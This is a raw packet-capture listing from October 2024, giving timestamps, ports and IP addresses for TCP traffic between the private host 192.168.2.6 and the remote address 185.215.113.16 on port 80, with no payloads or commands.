Oct 24, 2024 04:58:22.286520958 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.286551952 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.286567926 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.286618948 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.287089109 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.317138910 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.317162991 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.317198992 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.317219973 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.317255974 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.317272902 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.317301989 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.317301989 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.317318916 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.317322016 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.317347050 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.317351103 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.317363024 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.317390919 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.317410946 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.317428112 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.317467928 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.317468882 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.317485094 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.317526102 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.317651033 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.317678928 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.317692041 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.317696095 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.317715883 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.317728043 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.317728996 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.317768097 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.317769051 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.317785025 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.317823887 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.318134069 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.318147898 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.318183899 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.318186045 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.318223953 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.318315983 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.318341970 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.318357944 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.318372965 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.318386078 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.318387985 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.318402052 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.318412066 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.318418026 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.318430901 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.318433046 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.318450928 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.318455935 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.318480015 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.318502903 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.319034100 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.319051981 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.319070101 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.319078922 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.319093943 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.319112062 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.329408884 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.329441071 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.329457045 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.329513073 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.329534054 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.329550982 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.329566002 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.329591036 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.329617977 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.358803034 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.358834028 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.358850956 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.358866930 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.358892918 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.358923912 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.359680891 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.359714031 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.359730005 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.359764099 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.359782934 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.359788895 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.359803915 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.359818935 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.359843016 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.359864950 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.398854017 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.398874044 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.398890972 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.398906946 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.398922920 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.398938894 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.398967981 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.399013042 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.403419018 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.403438091 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.403455973 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.403573990 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.434055090 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.434076071 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.434092045 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.434108019 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.434109926 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.434123039 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.434125900 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.434139967 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.434166908 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.434191942 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.434218884 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.434231997 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.434259892 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.434274912 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.434282064 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.434307098 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.434322119 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.434330940 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.434350967 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.434364080 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.434525013 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.434540987 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.434556961 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.434583902 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.434607029 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.434788942 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.434814930 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.434830904 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.434845924 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.434859037 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.434860945 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.434876919 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.434890985 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.434894085 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.434906960 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.434910059 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.434945107 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.435327053 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.435343027 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.435359001 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.435373068 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.435389042 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.435391903 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.435419083 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.435435057 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.435687065 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.435712099 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.435729027 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.435736895 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.435745001 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.435755014 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.435760975 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.435767889 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.435786009 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.435796976 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.436058044 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.436074972 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.436089993 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.436108112 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.436119080 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.436146021 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.448673010 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.448704004 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.448715925 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.448730946 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.448755026 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.448765993 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.448811054 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.448813915 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.448832035 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.448853970 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.476882935 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.476902008 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.476927996 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.476942062 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.476958036 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.477085114 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.477085114 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.477969885 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.477988005 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.478004932 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.478030920 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.478035927 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.478044987 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.478049994 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.478080988 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.518152952 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.518189907 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.518225908 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.518254995 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.518260002 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.518295050 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.518327951 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.518343925 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.518374920 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.520556927 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.520612001 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.520643950 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.520695925 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.520719051 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.551064014 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.551080942 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.551095963 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.551111937 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.551130056 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.551146030 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.551184893 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.551193953 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.551211119 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.551227093 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.551232100 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.551242113 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.551256895 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.551259041 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.551273108 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.551286936 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.551301956 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.551491022 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.551517963 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.551533937 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.551563978 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.551573992 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.551585913 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.551585913 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.551589966 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.551605940 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.551635027 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.551657915 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.551695108 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.551731110 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.551745892 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.551762104 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.551773071 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.551778078 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.551795006 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.551796913 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.551810026 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.551836014 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.552495003 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.552510023 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.552525997 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.552541971 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.552551031 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.552573919 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.552592039 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.552702904 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.552719116 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.552736044 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.552761078 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.552778006 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.552783012 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.552795887 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.552812099 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.552826881 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.552838087 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.552853107 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.552865982 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.552890062 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.568001032 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.568026066 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.568052053 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.568065882 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.568083048 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.568098068 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.568094969 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.568134069 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.568142891 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.593709946 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.593739986 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.593755007 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.593771935 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.593774080 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.593786955 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.593786955 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.593801975 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.593805075 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.593815088 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.593828917 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.593847036 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.597223997 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.597254992 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.597278118 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.597295046 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.597311020 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.597326994 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.597347975 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.637605906 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.637634993 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.637648106 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.637660980 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.637674093 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.637685061 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.637696981 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.637710094 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.637715101 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.637759924 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.637763023 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.637797117 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.667906046 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.667922020 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.667936087 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.667948008 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.667957067 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.667958975 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.667967081 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.667973042 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.668014050 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.668090105 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.668101072 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.668112040 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.668145895 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.668160915 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.668251038 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.668262005 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.668272018 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.668298960 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.668320894 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.668399096 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.668409109 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.668493032 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.668543100 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.668555021 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.668576002 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.668586969 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.668597937 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.668598890 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.668618917 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.668643951 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.668808937 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.668852091 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.668858051 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.668869019 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.668895006 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.668904066 CEST	80	50000	185.215.113.16	192.168.2.6
